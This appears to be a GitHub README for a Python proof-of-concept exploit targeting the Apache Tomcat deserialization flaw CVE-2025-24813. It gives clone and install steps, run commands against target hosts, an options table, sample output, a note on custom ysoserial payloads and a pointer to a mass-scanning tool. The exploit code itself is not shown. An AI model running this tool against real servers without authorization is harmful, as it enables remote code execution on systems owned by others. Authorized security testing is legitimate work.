
A Python proof-of-concept exploit for CVE-2025-24813 - Unauthenticated RCE in Apache Tomcat (v9.0.0-9.0.98/10.1.0-10.1.34/11.0.0-11.0.2) via malicious Java object deserialization. Includes safe detection mode and custom payload support.
A proof-of-concept exploit for the Apache Tomcat deserialization vulnerability (CVE-2025-24813). This tool demonstrates how attackers could exploit insecure deserialization in Tomcat's session management.
WARNING: This tool is for authorized security testing and educational purposes only. Unauthorized use against systems you don't own is illegal.
requestscoloramagit clone https://github.com/mattb709/CVE-2025-24813-PoC.git
cd CVE-2025-24813-PoC
pip install -r requirements.txt
Basic usage:
python CVE-2025-24813-PoC.py -t 192.168.1.100 -p 8080
Advanced options:
python CVE-2025-24813-PoC.py \
-t 10.0.0.1 \
-p 8443 \
--protocol https \
--no-verify \
--timeout 15
| Argument | Description | Required |
|---|---|---|
-t, --target | Target IP address | Yes |
-p, --port | Target port number | Yes |
--protocol | http or https (default: http) | No |
--no-verify | Disable SSL certificate verification | No |
--timeout | Request timeout in seconds (default: 10) | No |
[*] Apache Tomcat CVE-2025-24813 Exploit PoC
[!] WARNING: For authorized testing only. Unauthorized use is illegal.
[*] Targeting http://192.168.1.100:8080
[*] Payload Options:
1. Use default dummy payload (safe, for detection)
2. Enter custom payload (hex-encoded, e.g., from ysoserial)
[?] Enter choice (1 or 2): 1
[*] Using default dummy payload.
[*] Attempting exploit...
[+] Success: Deserialization triggered (HTTP 500). Potential RCE if payload is malicious!
For mass scanning vulnerable systems:
🔍 CVE-2025-24813-Scanner - Bulk detection tool for vulnerable Tomcat hosts
If you're affected by this vulnerability:
This software is provided under the MIT License. The author is not responsible for any misuse of this tool. Always obtain proper authorization before testing systems.
MIT License - See LICENSE file for details.